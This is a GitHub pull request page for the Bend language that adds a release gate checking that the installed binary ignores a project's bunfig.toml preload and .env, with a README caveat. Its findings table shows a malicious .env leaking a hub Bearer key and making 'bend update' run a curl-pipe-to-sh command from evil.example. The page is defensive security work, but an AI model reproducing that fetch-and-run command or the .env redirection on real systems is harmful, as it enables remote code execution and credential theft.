Skip to content

The ping gate checks that the released bend ignores a project's bunfig.toml and .env - #1023

Merged
Lorenzobattistela merged 1 commit into
mainfrom
release-no-autoload
Sep 23, 2026
Merged

Lorenzobattistela merged 1 commit into
mainfrom
release-no-autoload

Conversation

@Lorenzobattistela

Copy link
Copy Markdown
Collaborator

The gate and docs half of #1018. The fix is in the site repo's release.ts (bendlang-private/bend-lang.com#37): it builds bin/bend with --no-compile-autoload-{bunfig,dotenv,package-json,tsconfig}, so the compiled bend no longer reads a project's bunfig.toml or .env.

Changes

  • gates/ping.ts: the installed bend runs main.bend in a project containing:

    • a bunfig.toml whose preload writes a marker file;
    • a .env with BEND_LIB=./lib, where lib/ holds both a names/[email protected] mapping and the package it points to. This is point 3 of the comment: a named import where the project supplies the mapping and the package.

    The check requires that no marker is written and that the name is looked up on the hub, which fails.

    • with Add --stats cli option #37: PASS: 21 / 21;
    • with the site repo's origin/main build (no flags): that check fails, and bend prints 5n from the project's copy.
  • README.md: one sentence under Install: the installed bend ignores a project's bunfig.toml and .env, but bun bend2/main.ts from a checkout still reads them, so check untrusted code with bend. Code in main.ts can't prevent this, because a preload runs before it. The README is at its token cap, so the note is short.

The other effects in the comment

Each was checked against a build without the flags and one with them (Bun 1.4.0):

.env in the project Without the flags With the flags
BEND_HUB=<local server>, then --publish <name>@<version> the server gets Authorization: Bearer <key> nothing reaches it
BEND_ORIGIN=http://evil.example, then bend update (fake curl on PATH) curl -fsSL http://evil.example/install.sh | sh https://bend-lang.com/install.sh
BEND_LIB=./.cache with names/ and the package All terms check. for a law about the project's copy the name is asked of the hub

All three need the variable to come from .env, and the release no longer reads it. What stays open from #1005 (a cached package isn't re-hashed on load, and the ../0x… namespace collision) is in bend.ts and isn't part of this PR.

The release gets the fix only when 2.0.27 is cut from #37's release.ts.

🤖 Generated with Claude Code

…preloads a script and whose .env names a package under its own BEND_LIB, and requires neither to take effect; the README says bun bend2/main.ts from a checkout still reads both

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
@Lorenzobattistela
Lorenzobattistela merged commit e40aa66 into main Sep 23, 2026
@Lorenzobattistela
Lorenzobattistela deleted the release-no-autoload branch September 23, 2026 21:16
@Lorenzobattistela Lorenzobattistela mentioned this pull request Sep 23, 2026
Phylliida pushed a commit to Phylliida/bend that referenced this pull request Sep 27, 2026
…g.toml and .env (bendlang#1023)

Co-authored-by: Claude Opus 5.5 (1M context) <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant